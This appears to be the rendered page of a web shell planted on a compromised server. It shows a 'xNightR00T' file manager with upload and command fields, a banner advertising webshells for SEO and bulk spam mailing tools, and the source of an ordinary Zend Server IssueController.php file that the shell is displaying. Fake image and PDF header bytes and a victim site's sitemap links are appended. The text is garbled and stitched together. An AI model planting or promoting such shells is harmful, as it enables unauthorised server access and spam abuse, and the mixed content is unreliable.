xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Issue\Controller;

use ZendServer\Set;
use ZendServer\Mvc\Controller\ActionController,
    Application\Module as applicationModule,
    MonitorUi\Filter,
    MonitorUi\Model\Model,
    Monitor\Module,
    ZendServer\Exception,
    ZendServer\Log\Log;

class IssueController extends ActionController
{
    protected $serversData = array();

    public function indexAction()
    {
        $this->getLocator('Navigation')->findByLabel('Events')->setActive(true);

        try {
            $params = $this->getParameters(array());
            $this->validateMandatoryParameters($params, array('issueId'));
            $this->validateIssueId($params['issueId']);
        } catch (\Exception $e) {
            Log::err(__METHOD__.": input validation failed");
            Log::debug($e);
            throw $e;
        }

        $monitorIssuesModel = $this->getLocator()->get('Issue\Db\Mapper'); /* @var $monitorIssuesModel \Issue\Db\Mapper */
        $issue              = $monitorIssuesModel->getIssue($params['issueId']);
        $mvcIssueData       = $monitorIssuesModel->getRelevantMvc(array($issue->getId()));
        if (isset($mvcIssueData[$issue->getId()])) {
            $issue->setMvcData($mvcIssueData[$issue->getId()]);
        }

        $eventsGroupsLimit = 20;

        $monitorEventsModel = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $monitorEventsModel \EventsGroup\Db\Mapper */

        $eventsGroups = $monitorEventsModel->getEventsGroups($params['issueId'], $eventsGroupsLimit);

        $applicationIds = $this->removeDummyAppId(array($issue->getApplicationId()));
        if ($applicationIds) {
            $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
            $applicationsSet = $deploymentModel->getMasterApplicationsByIds($applicationIds);
            $applicationsSet->setHydrateClass('\Deployment\Application\Container');
        } else {
            $applicationsSet = new Set(array());
        }

        $eventsGroupsData = $serversIds       = array();

        $this->serversData = $this->getServersMapper()->findAllServersNamesByIds();

        $hasEmail        = $this->hasEmail($eventsGroups);
        $hasCustomAction = $this->hasCustomAction($eventsGroups);

        $eventsGroups->rewind();
        $data             = $monitorEventsModel->getEventGroupData(
            $eventsGroups->current()->getEventsGroupId());
        $eventsGroupsData = array($data);

        // get IDE configurations
        $ideConfigMapper = $this->getLocator()->get('StudioIntegration\Mapper');
        $ideConfig       = $ideConfigMapper->getConfiguration();

        return array('issue' => $issue,
            'eventsGroups' => $eventsGroups,
            'hasEmail' => $hasEmail,
            'hasCustomAction' => $hasCustomAction,
            'events' => $eventsGroupsData,
            'applications' => $applicationsSet,
            'serversIds' => $this->serversData,
            'eventsGroupsLimit' => $eventsGroupsLimit,
            'alternateServer' => applicationModule::config('studioIntegration', 'alternateDebugServer'),
            'timeout' => applicationModule::config('studioIntegration', 'zend_gui', 'studioClientTimeout'),
            'ideConfig' => $ideConfig,
        );
    }

    public function getIssueAction()
    {
        try {
            $params = $this->getParameters(array());
            $this->validateMandatoryParameters($params, array('issueId'));
            $this->validateIssueId($params['issueId']);
        } catch (\Exception $e) {
            Log::err(__METHOD__.": input validation failed");
            Log::debug($e);
            throw $e;
        }

        $monitorIssuesModel = $this->getLocator()->get('Issue\Db\Mapper'); /* @var $monitorIssuesModel \Issue\Db\Mapper */
        $issue              = $monitorIssuesModel->getIssue($params['issueId']);
        $mvcIssueData       = $monitorIssuesModel->getRelevantMvc(array($issue->getId()));
        if (isset($mvcIssueData[$issue->getId()])) {
            $issue->setMvcData($mvcIssueData[$issue->getId()]);
        }

        $eventsGroupsLimit = 20;

        $monitorEventsModel = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $monitorEventsModel \EventsGroup\Db\Mapper */

        $eventsGroups = $monitorEventsModel->getEventsGroups($params['issueId'], $eventsGroupsLimit);

        $applicationIds = $this->removeDummyAppId(array($issue->getApplicationId()));
        if ($applicationIds) {
            $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
            $applicationsSet = $deploymentModel->getMasterApplicationsByIds($applicationIds);
            $applicationsSet->setHydrateClass('\Deployment\Application\Container');
        } else {
            $applicationsSet = new Set(array());
        }

        $eventsGroupsData = $serversIds       = array();

        $this->serversData = $this->getServersMapper()->findAllServersNamesByIds();

        $hasEmail        = $this->hasEmail($eventsGroups);
        $hasCustomAction = $this->hasCustomAction($eventsGroups);

        $eventsGroups->rewind();
        $data             = $monitorEventsModel->getEventGroupData(
            $eventsGroups->current()->getEventsGroupId());
        $eventsGroupsData = array($data);


        // get IDE configurations
        $ideConfigMapper = $this->getLocator()->get('StudioIntegration\Mapper');
        $ideConfig       = $ideConfigMapper->getConfiguration();


        $response = array('issue' => $issue->toArray(),
            'hasEmail' => $hasEmail,
            'hasCustomAction' => $hasCustomAction,
            'events' => $eventsGroupsData,
            'serversIds' => $this->serversData,
            'eventsGroupsLimit' => $eventsGroupsLimit,
            'alternateServer' => applicationModule::config('studioIntegration', 'alternateDebugServer'),
            'timeout' => applicationModule::config('studioIntegration', 'zend_gui', 'studioClientTimeout'),
            'ideConfig' => $ideConfig,
            'eventTypes' => array(
                'custom' => Model::getCustomEventTypes(),
                'phpErrors' => Model::getPhpErrorsEventTypes(),
                'function' => Model::getFunctionEventTypes(),
                'javaExceptions' => Model::getJavaExceptionsEventTypes()
            )
        );

        if ($applicationsSet && ($application = $applicationsSet->end())) { // if somehow there's more than one, we're interested in the latest one
            $response['issue']['app_name'] = $application->getUserApplicationName();
        }

        $response['issue']['count']            = $issue->getCount();
        $response['issue']['hasTrace']         = $issue->hasTrace();
        $response['issue']['customEventClass'] = $issue->getCustomEventClass();
        $response['issue']['function']         = $issue->getCustomEventClass();

        $viewHelperManager = $this->getServiceLocator()->get('ViewHelperManager');

        if (in_array($issue->getEventType(), Model::getCustomEventTypes())) {
            $response['issue']['customEventClass'] = $issue->getCustomEventClass();
        } elseif (in_array($issue->getEventType(),
                array_merge(Model::getPhpErrorsEventTypes(), Model::getFunctionEventTypes(),
                    Model::getJavaExceptionsEventTypes()))) {
            $response['issue']['function'] = $issue->getFunction();
        }

        if (in_array($issue->getEventType(), Model::getPhpErrorsEventTypes())) {
            $helper                         = $viewHelperManager->get('phpErrorType');
            $response['issue']['errorType'] = current($eventsGroupsData)->getErrorType() ? $helper(current($eventsGroupsData)->getErrorType())
                    : "";
        }

        if (in_array($issue->getEventType(),
                array_merge(Model::getCustomEventTypes(), Model::getFunctionEventTypes(),
                    Model::getPhpErrorsEventTypes(), Model::getJavaExceptionsEventTypes()))) {
            $filename                        = $issue->getFilename();
            $response['issue']['sourceFile'] = empty($filename) ? '' : $filename.' : '.$issue->getLine();
        }

        if (in_array($issue->getEventType(),
                array_merge(Model::getCustomEventTypes(), Model::getPhpErrorsEventTypes(),
                    Model::getJavaExceptionsEventTypes()))) {
            $response['issue']['errorString'] = current($eventsGroupsData)->getErrorString();
        }
        
        $response['issue']['phpVersion'] = current($eventsGroupsData)->getEventPHPVersion();

        if ($issue->hasMvcData()) {
            $routeStr = implode(' :: ', $issue->getMvcData());
            if (strlen($routeStr) > 50) {
                $routeStr = substr($routeStr, 0, 50).'...';
            }

            $response['issue']['routeDetails'] = $routeStr;
        }

        $helper                        = $viewHelperManager->get('issueSeverity');
        $response['issue']['severity'] = strtolower($helper($issue->getSeverity()));




        $response['tabs'] = array(
            'error-data' => _t('Error Data'),
            'function-data' => _t('Function Data'),
            'job-queue' => _t('Job Queue'),
            'code-tracing' => _t('Code Tracing'),
            'custom-variables' => _t('Custom Variables'),
            'server-variables' => _t('Server Variables'),
            'request-variables' => _t('Request Variables'),
            'ui-event' => _t('UI Event'),
            'backtrace' => _t('Backtrace'),
        );


        return $this->getResponse()->setContent(json_encode($response));
    }

    protected function removeDummyAppId($applicationIds)
    {
        foreach ($applicationIds as $idx => $applicationId) {
            if ($applicationId == -1) {
                unset($applicationIds[$idx]);
            }
        }

        return $applicationIds;
    }

    /**
     * @param integer $issueId
     * @throws WebAPI\Exception
     */
    protected function validateIssueId($issueId)
    {
        $issueIdValidator = new \Zend\Validator\Digits();
        if (!$issueIdValidator->isValid($issueId)) {
            throw new Exception(
            _t('Parameter \'issueId\' must be an integer'), Exception::INVALID_PARAMETER);
        }
    }

    /**
     * @param \ZendServer\Set $eventsGroups
     * @return boolean
     */
    protected function hasEmail($eventsGroups)
    {
        foreach ($eventsGroups as $eventsGroupId => $eventsGroup) { /* @var $eventsGroup \Monitor\Db\Container */

            if ($eventsGroup->getEmailAction()) {
                return true;
            }
        }

        return false;
    }

    /**
     * @param \ZendServer\Set $eventsGroups
     * @return boolean
     */
    public function hasCustomAction($eventsGroups)
    {
        foreach ($eventsGroups as $eventsGroupId => $eventsGroup) { /* @var $eventsGroup \Monitor\Db\Container */
            if ($eventsGroup->getUrlAction()) {
                return true;
            }
        }

        return false;
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
IssueController.php File 10.87 KB 0644
ListController.php File 5.51 KB 0644
WebAPI12Controller.php File 14.53 KB 0644
WebAPIController.php File 30.19 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml